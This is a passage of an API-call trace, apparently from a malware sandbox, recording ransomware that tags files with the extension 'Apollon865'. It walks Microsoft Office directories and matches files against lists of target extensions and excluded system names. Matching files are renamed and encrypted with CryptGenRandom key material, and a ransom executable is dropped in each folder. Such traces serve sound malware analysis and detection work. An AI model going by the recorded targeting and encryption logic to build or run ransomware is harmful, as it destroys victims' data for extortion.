	[0065.402] lstrcmpiW (lpString1="cft", lpString2="^^^") returned 1
	[0065.402] lstrlenW (lpString="abs") returned 3
	[0065.402] lstrcmpiW (lpString1="cft", lpString2="abs") returned 1
	[0065.403] lstrlenW (lpString="abx") returned 3
	[0065.403] lstrcmpiW (lpString1="cft", lpString2="abx") returned 1
	[0065.403] lstrlenW (lpString="accdb") returned 5
	[0065.403] lstrcmpiW (lpString1="accft", lpString2="accdb") returned 1
	[0065.403] lstrlenW (lpString="accdc") returned 5
	[0065.403] lstrcmpiW (lpString1="accft", lpString2="accdc") returned 1
	[0065.403] lstrlenW (lpString="accde") returned 5
	[0065.403] lstrcmpiW (lpString1="accft", lpString2="accde") returned 1
	[0065.403] lstrlenW (lpString="accdr") returned 5
	[0065.403] lstrcmpiW (lpString1="accft", lpString2="accdr") returned 1
	[0065.403] lstrlenW (lpString="accdt") returned 5
	[0065.403] lstrcmpiW (lpString1="accft", lpString2="accdt") returned 1
	[0065.403] lstrlenW (lpString="accdw") returned 5
	[0065.403] lstrcmpiW (lpString1="accft", lpString2="accdw") returned 1
	[0065.403] lstrlenW (lpString="accft") returned 5
	[0065.403] lstrcmpiW (lpString1="accft", lpString2="accft") returned 0
	[0065.403] wsprintfW (in: param_1=0x2d3d2e0, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\DataType\\Status.accft.Apollon865") returned 88
	[0065.403] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\DataType\\Status.accft" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\access\\datatype\\status.accft"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\DataType\\Status.accft.Apollon865" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\access\\datatype\\status.accft.apollon865"), dwFlags=0x1) returned 1
	[0065.404] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\DataType\\Status.accft.Apollon865" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\access\\datatype\\status.accft.apollon865"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x88000080, hTemplateFile=0x0) returned 0xc0
	[0065.404] GetFileSizeEx (in: hFile=0xc0, lpFileSize=0x2d3e1e0 | out: lpFileSize=0x2d3e1e0*=4405) returned 1
	[0065.404] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x200300) returned 0x3470020
	[0065.404] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59a920
	[0065.404] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x5bf5f0
	[0065.404] CryptAcquireContextW (in: phProv=0x2d3cf9c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf9c*=0x5bf898) returned 1
	[0065.405] CryptGenRandom (in: hProv=0x5bf898, dwLen=0x80, pbBuffer=0x2d3cfb0 | out: pbBuffer=0x2d3cfb0) returned 1
	[0065.405] CryptReleaseContext (hProv=0x5bf898, dwFlags=0x0) returned 1
	[0065.405] CreateFileMappingW (hFile=0xc0, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x1440, lpName=0x0) returned 0x150
	[0065.407] MapViewOfFile (hFileMappingObject=0x150, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x1440) returned 0x100000
	[0065.407] CryptAcquireContextW (in: phProv=0x2d3cf4c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf4c*=0x5bf898) returned 1
	[0065.408] CryptGenRandom (in: hProv=0x5bf898, dwLen=0x80, pbBuffer=0x2d3cf60 | out: pbBuffer=0x2d3cf60) returned 1
	[0065.408] CryptReleaseContext (hProv=0x5bf898, dwFlags=0x0) returned 1
	[0065.408] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59aa10
	[0065.408] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59aa10 | out: hHeap=0x580000) returned 1
	[0065.408] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x100) returned 0x5c6560
	[0065.408] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b08e8
	[0065.408] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5c6560 | out: hHeap=0x580000) returned 1
	[0065.408] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b0a00
	[0065.408] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x208) returned 0x5b2f60
	[0065.409] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b0a00 | out: hHeap=0x580000) returned 1
	[0065.409] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b2f60 | out: hHeap=0x580000) returned 1
	[0065.409] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b08e8 | out: hHeap=0x580000) returned 1
	[0065.409] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1
	[0065.409] CloseHandle (hObject=0x150) returned 1
	[0065.409] CloseHandle (hObject=0xc0) returned 1
	[0065.409] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59a920 | out: hHeap=0x580000) returned 1
	[0065.409] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bf5f0 | out: hHeap=0x580000) returned 1
	[0065.409] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x3470020 | out: hHeap=0x580000) returned 1
	[0065.409] FindNextFileW (in: hFindFile=0x5ca350, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7334c600, ftCreationTime.dwHighDateTime=0x1caa4fd, ftLastAccessTime.dwLowDateTime=0x14f56c30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7334c600, ftLastWriteTime.dwHighDateTime=0x1caa4fd, nFileSizeHigh=0x0, nFileSizeLow=0x10f7, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Tags.accft", cAlternateFileName="TAGS~1.ACC")) returned 1
	[0065.409] lstrcmpiW (lpString1="Tags.accft", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0065.409] lstrcmpiW (lpString1="Tags.accft", lpString2="Apollon865.txt.exe") returned 1
	[0065.409] lstrcmpiW (lpString1="Tags.accft", lpString2=".") returned 1
	[0065.409] lstrcmpiW (lpString1="Tags.accft", lpString2="..") returned 1
	[0065.409] lstrcmpiW (lpString1="Tags.accft", lpString2="windows") returned -1
	[0065.409] lstrcmpiW (lpString1="Tags.accft", lpString2="bootmgr") returned 1
	[0065.410] lstrcmpiW (lpString1="Tags.accft", lpString2="temp") returned -1
	[0065.410] lstrcmpiW (lpString1="Tags.accft", lpString2="pagefile.sys") returned 1
	[0065.410] lstrcmpiW (lpString1="Tags.accft", lpString2="boot") returned 1
	[0065.410] lstrcmpiW (lpString1="Tags.accft", lpString2="ids.txt") returned 1
	[0065.410] lstrcmpiW (lpString1="Tags.accft", lpString2="ntuser.dat") returned 1
	[0065.410] lstrcmpiW (lpString1="Tags.accft", lpString2="perflogs") returned 1
	[0065.410] lstrcmpiW (lpString1="Tags.accft", lpString2="MSBuild") returned 1
	[0065.410] lstrlenW (lpString="Tags.accft") returned 10
	[0065.410] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\DataType\\Status.accft") returned 77
	[0065.410] lstrcpyW (in: lpString1=0x2d3e5d2, lpString2="Tags.accft" | out: lpString1="Tags.accft") returned="Tags.accft"
	[0065.410] lstrlenW (lpString="Tags.accft") returned 10
	[0065.410] lstrlenW (lpString="Apollon865") returned 10
	[0065.410] lstrlenW (lpString=".dll") returned 4
	[0065.410] lstrcmpiW (lpString1="Tags.accft", lpString2=".dll") returned 1
	[0065.410] lstrlenW (lpString=".lnk") returned 4
	[0065.410] lstrcmpiW (lpString1="Tags.accft", lpString2=".lnk") returned 1
	[0065.410] lstrlenW (lpString=".ini") returned 4
	[0065.410] lstrcmpiW (lpString1="Tags.accft", lpString2=".ini") returned 1
	[0065.410] lstrlenW (lpString=".sys") returned 4
	[0065.410] lstrcmpiW (lpString1="Tags.accft", lpString2=".sys") returned 1
	[0065.410] lstrlenW (lpString="Tags.accft") returned 10
	[0065.410] lstrlenW (lpString="bak") returned 3
	[0065.410] lstrcmpiW (lpString1="cft", lpString2="bak") returned 1
	[0065.410] lstrlenW (lpString="ba_") returned 3
	[0065.410] lstrcmpiW (lpString1="cft", lpString2="ba_") returned 1
	[0065.410] lstrlenW (lpString="dbb") returned 3
	[0065.410] lstrcmpiW (lpString1="cft", lpString2="dbb") returned -1
	[0065.410] lstrlenW (lpString="vmdk") returned 4
	[0065.410] lstrcmpiW (lpString1="ccft", lpString2="vmdk") returned -1
	[0065.410] lstrlenW (lpString="rar") returned 3
	[0065.410] lstrcmpiW (lpString1="cft", lpString2="rar") returned -1
	[0065.410] lstrlenW (lpString="zip") returned 3
	[0065.410] lstrcmpiW (lpString1="cft", lpString2="zip") returned -1
	[0065.410] lstrlenW (lpString="tgz") returned 3
	[0065.410] lstrcmpiW (lpString1="cft", lpString2="tgz") returned -1
	[0065.410] lstrlenW (lpString="vbox") returned 4
	[0065.411] lstrcmpiW (lpString1="ccft", lpString2="vbox") returned -1
	[0065.411] lstrlenW (lpString="vdi") returned 3
	[0065.411] lstrcmpiW (lpString1="cft", lpString2="vdi") returned -1
	[0065.411] lstrlenW (lpString="vhd") returned 3
	[0065.411] lstrcmpiW (lpString1="cft", lpString2="vhd") returned -1
	[0065.411] lstrlenW (lpString="vhdx") returned 4
	[0065.411] lstrcmpiW (lpString1="ccft", lpString2="vhdx") returned -1
	[0065.411] lstrlenW (lpString="avhd") returned 4
	[0065.411] lstrcmpiW (lpString1="ccft", lpString2="avhd") returned 1
	[0065.411] lstrlenW (lpString="db") returned 2
	[0065.411] lstrcmpiW (lpString1="ft", lpString2="db") returned 1
	[0065.411] lstrlenW (lpString="db2") returned 3
	[0065.411] lstrcmpiW (lpString1="cft", lpString2="db2") returned -1
	[0065.411] lstrlenW (lpString="db3") returned 3
	[0065.411] lstrcmpiW (lpString1="cft", lpString2="db3") returned -1
	[0065.411] lstrlenW (lpString="dbf") returned 3
	[0065.411] lstrcmpiW (lpString1="cft", lpString2="dbf") returned -1
	[0065.411] lstrlenW (lpString="mdf") returned 3
	[0065.411] lstrcmpiW (lpString1="cft", lpString2="mdf") returned -1
	[0065.411] lstrlenW (lpString="mdb") returned 3
	[0065.411] lstrcmpiW (lpString1="cft", lpString2="mdb") returned -1
	[0065.411] lstrlenW (lpString="sql") returned 3
	[0065.411] lstrcmpiW (lpString1="cft", lpString2="sql") returned -1
	[0065.411] lstrlenW (lpString="sqlite") returned 6
	[0065.411] lstrcmpiW (lpString1=".accft", lpString2="sqlite") returned -1
	[0065.411] lstrlenW (lpString="sqlite3") returned 7
	[0065.412] lstrcmpiW (lpString1="s.accft", lpString2="sqlite3") returned -1
	[0065.413] lstrlenW (lpString="sqlitedb") returned 8
	[0065.413] lstrcmpiW (lpString1="gs.accft", lpString2="sqlitedb") returned -1
	[0065.413] lstrlenW (lpString="xml") returned 3
	[0065.413] lstrcmpiW (lpString1="cft", lpString2="xml") returned -1
	[0065.413] lstrlenW (lpString="$er") returned 3
	[0065.413] lstrcmpiW (lpString1="cft", lpString2="$er") returned 1
	[0065.413] lstrlenW (lpString="4dd") returned 3
	[0065.413] lstrcmpiW (lpString1="cft", lpString2="4dd") returned 1
	[0065.413] lstrlenW (lpString="4dl") returned 3
	[0065.413] lstrcmpiW (lpString1="cft", lpString2="4dl") returned 1
	[0065.413] lstrlenW (lpString="^^^") returned 3
	[0065.413] lstrcmpiW (lpString1="cft", lpString2="^^^") returned 1
	[0065.413] lstrlenW (lpString="abs") returned 3
	[0065.413] lstrcmpiW (lpString1="cft", lpString2="abs") returned 1
	[0065.413] lstrlenW (lpString="abx") returned 3
	[0065.413] lstrcmpiW (lpString1="cft", lpString2="abx") returned 1
	[0065.413] lstrlenW (lpString="accdb") returned 5
	[0065.413] lstrcmpiW (lpString1="accft", lpString2="accdb") returned 1
	[0065.413] lstrlenW (lpString="accdc") returned 5
	[0065.413] lstrcmpiW (lpString1="accft", lpString2="accdc") returned 1
	[0065.413] lstrlenW (lpString="accde") returned 5
	[0065.413] lstrcmpiW (lpString1="accft", lpString2="accde") returned 1
	[0065.413] lstrlenW (lpString="accdr") returned 5
	[0065.413] lstrcmpiW (lpString1="accft", lpString2="accdr") returned 1
	[0065.413] lstrlenW (lpString="accdt") returned 5
	[0065.413] lstrcmpiW (lpString1="accft", lpString2="accdt") returned 1
	[0065.413] lstrlenW (lpString="accdw") returned 5
	[0065.413] lstrcmpiW (lpString1="accft", lpString2="accdw") returned 1
	[0065.413] lstrlenW (lpString="accft") returned 5
	[0065.413] lstrcmpiW (lpString1="accft", lpString2="accft") returned 0
	[0065.414] wsprintfW (in: param_1=0x2d3d2e0, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\DataType\\Tags.accft.Apollon865") returned 86
	[0065.414] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\DataType\\Tags.accft" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\access\\datatype\\tags.accft"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\DataType\\Tags.accft.Apollon865" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\access\\datatype\\tags.accft.apollon865"), dwFlags=0x1) returned 1
	[0065.414] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\DataType\\Tags.accft.Apollon865" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\access\\datatype\\tags.accft.apollon865"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x88000080, hTemplateFile=0x0) returned 0xc0
	[0065.414] GetFileSizeEx (in: hFile=0xc0, lpFileSize=0x2d3e1e0 | out: lpFileSize=0x2d3e1e0*=4343) returned 1
	[0065.414] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x200300) returned 0x3470020
	[0065.415] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59a920
	[0065.415] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x5bf5f0
	[0065.415] CryptAcquireContextW (in: phProv=0x2d3cf9c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf9c*=0x5bf898) returned 1
	[0065.415] CryptGenRandom (in: hProv=0x5bf898, dwLen=0x80, pbBuffer=0x2d3cfb0 | out: pbBuffer=0x2d3cfb0) returned 1
	[0065.415] CryptReleaseContext (hProv=0x5bf898, dwFlags=0x0) returned 1
	[0065.416] CreateFileMappingW (hFile=0xc0, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x1400, lpName=0x0) returned 0x150
	[0065.417] MapViewOfFile (hFileMappingObject=0x150, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x1400) returned 0x100000
	[0065.418] CryptAcquireContextW (in: phProv=0x2d3cf4c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf4c*=0x5bf898) returned 1
	[0065.419] CryptGenRandom (in: hProv=0x5bf898, dwLen=0x80, pbBuffer=0x2d3cf60 | out: pbBuffer=0x2d3cf60) returned 1
	[0065.419] CryptReleaseContext (hProv=0x5bf898, dwFlags=0x0) returned 1
	[0065.419] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59aa10
	[0065.419] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59aa10 | out: hHeap=0x580000) returned 1
	[0065.419] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x100) returned 0x5c6560
	[0065.419] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b08e8
	[0065.419] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5c6560 | out: hHeap=0x580000) returned 1
	[0065.419] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b0a00
	[0065.419] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x208) returned 0x5b2b10
	[0065.419] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b0a00 | out: hHeap=0x580000) returned 1
	[0065.419] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b2b10 | out: hHeap=0x580000) returned 1
	[0065.419] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b08e8 | out: hHeap=0x580000) returned 1
	[0065.419] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1
	[0065.420] CloseHandle (hObject=0x150) returned 1
	[0065.420] CloseHandle (hObject=0xc0) returned 1
	[0065.420] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59a920 | out: hHeap=0x580000) returned 1
	[0065.420] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bf5f0 | out: hHeap=0x580000) returned 1
	[0065.420] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x3470020 | out: hHeap=0x580000) returned 1
	[0065.420] FindNextFileW (in: hFindFile=0x5ca350, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7334c600, ftCreationTime.dwHighDateTime=0x1caa4fd, ftLastAccessTime.dwLowDateTime=0x14f56c30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7334c600, ftLastWriteTime.dwHighDateTime=0x1caa4fd, nFileSizeHigh=0x0, nFileSizeLow=0x10f7, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Tags.accft", cAlternateFileName="TAGS~1.ACC")) returned 0
	[0065.420] FindClose (in: hFindFile=0x5ca350 | out: hFindFile=0x5ca350) returned 1
	[0065.420] RtlInterlockedPopEntrySList (in: ListHead=0x5b76b0 | out: ListHead=0x5b76b0) returned 0x5b7990
	[0065.420] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Program Files\\Microsoft Office\\Stationery", iMaxLength=260 | out: lpString1="C:\\Program Files\\Microsoft Office\\Stationery") returned="C:\\Program Files\\Microsoft Office\\Stationery"
	[0065.420] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5c5458 | out: hHeap=0x580000) returned 1
	[0065.420] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7988 | out: hHeap=0x580000) returned 1
	[0065.420] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Stationery") returned 44
	[0065.420] lstrcatW (in: lpString1="", lpString2="C:\\Program Files\\Microsoft Office\\Stationery" | out: lpString1="C:\\Program Files\\Microsoft Office\\Stationery") returned="C:\\Program Files\\Microsoft Office\\Stationery"
	[0065.420] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0065.420] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Stationery\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files\\microsoft office\\stationery\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0065.430] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0065.430] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Stationery\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd3eb50, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x3f10d950, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x3f10d950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca350
	[0065.430] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0065.430] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0065.430] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0065.430] FindNextFileW (in: hFindFile=0x5ca350, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd3eb50, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x3f10d950, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x3f10d950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0065.430] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0065.430] lstrcmpiW (lpString1="..", lpString2="Apollon865.txt.exe") returned -1
	[0065.430] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0065.430] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0065.430] FindNextFileW (in: hFindFile=0x5ca350, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xebb910, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x21c6910, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x21c6910, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="1033", cAlternateFileName="")) returned 1
	[0065.430] lstrcmpiW (lpString1="1033", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0065.430] lstrcmpiW (lpString1="1033", lpString2="Apollon865.txt.exe") returned -1
	[0065.430] lstrcmpiW (lpString1="1033", lpString2=".") returned 1
	[0065.430] lstrcmpiW (lpString1="1033", lpString2="..") returned 1
	[0065.430] lstrcmpiW (lpString1="1033", lpString2="windows") returned -1
	[0065.430] lstrcmpiW (lpString1="1033", lpString2="bootmgr") returned -1
	[0065.430] lstrcmpiW (lpString1="1033", lpString2="temp") returned -1
	[0065.430] lstrcmpiW (lpString1="1033", lpString2="pagefile.sys") returned -1
	[0065.430] lstrcmpiW (lpString1="1033", lpString2="boot") returned -1
	[0065.430] lstrcmpiW (lpString1="1033", lpString2="ids.txt") returned -1
	[0065.430] lstrcmpiW (lpString1="1033", lpString2="ntuser.dat") returned -1
	[0065.430] lstrcmpiW (lpString1="1033", lpString2="perflogs") returned -1
	[0065.430] lstrcmpiW (lpString1="1033", lpString2="MSBuild") returned -1
	[0065.430] lstrlenW (lpString="1033") returned 4
	[0065.431] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Stationery\\*") returned 46
	[0065.431] lstrcpyW (in: lpString1=0x2d3e5aa, lpString2="1033" | out: lpString1="1033") returned="1033"
	[0065.431] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5b7988
	[0065.431] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x64) returned 0x5afc58
	[0065.431] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x5b7990 | out: ListHead=0x5b76b0, ListEntry=0x5b7990) returned 0x5b7b10
	[0065.431] FindNextFileW (in: hFindFile=0x5ca350, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3f10d950, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x3f10d950, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1
	[0065.431] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0
	[0065.431] FindNextFileW (in: hFindFile=0x5ca350, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3f10d950, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x3f10d950, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 0
	[0065.431] FindClose (in: hFindFile=0x5ca350 | out: hFindFile=0x5ca350) returned 1
	[0065.431] RtlInterlockedPopEntrySList (in: ListHead=0x5b76b0 | out: ListHead=0x5b76b0) returned 0x5b7990
	[0065.431] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Program Files\\Microsoft Office\\Stationery\\1033", iMaxLength=260 | out: lpString1="C:\\Program Files\\Microsoft Office\\Stationery\\1033") returned="C:\\Program Files\\Microsoft Office\\Stationery\\1033"
	[0065.431] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5afc58 | out: hHeap=0x580000) returned 1
	[0065.431] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7988 | out: hHeap=0x580000) returned 1
	[0065.431] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Stationery\\1033") returned 49
	[0065.431] lstrcatW (in: lpString1="", lpString2="C:\\Program Files\\Microsoft Office\\Stationery\\1033" | out: lpString1="C:\\Program Files\\Microsoft Office\\Stationery\\1033") returned="C:\\Program Files\\Microsoft Office\\Stationery\\1033"
	[0065.431] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0065.431] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Stationery\\1033\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files\\microsoft office\\stationery\\1033\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0065.436] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0065.436] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Stationery\\1033\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xebb910, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x3f133ab0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x3f133ab0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca350
	[0065.436] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0065.436] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0065.436] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0065.436] FindNextFileW (in: hFindFile=0x5ca350, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xebb910, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x3f133ab0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x3f133ab0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0065.436] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0065.436] lstrcmpiW (lpString1="..", lpString2="Apollon865.txt.exe") returned -1
	[0065.436] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0065.436] lstrcmpiW (lpString1="..", lpString2="..") returned 0
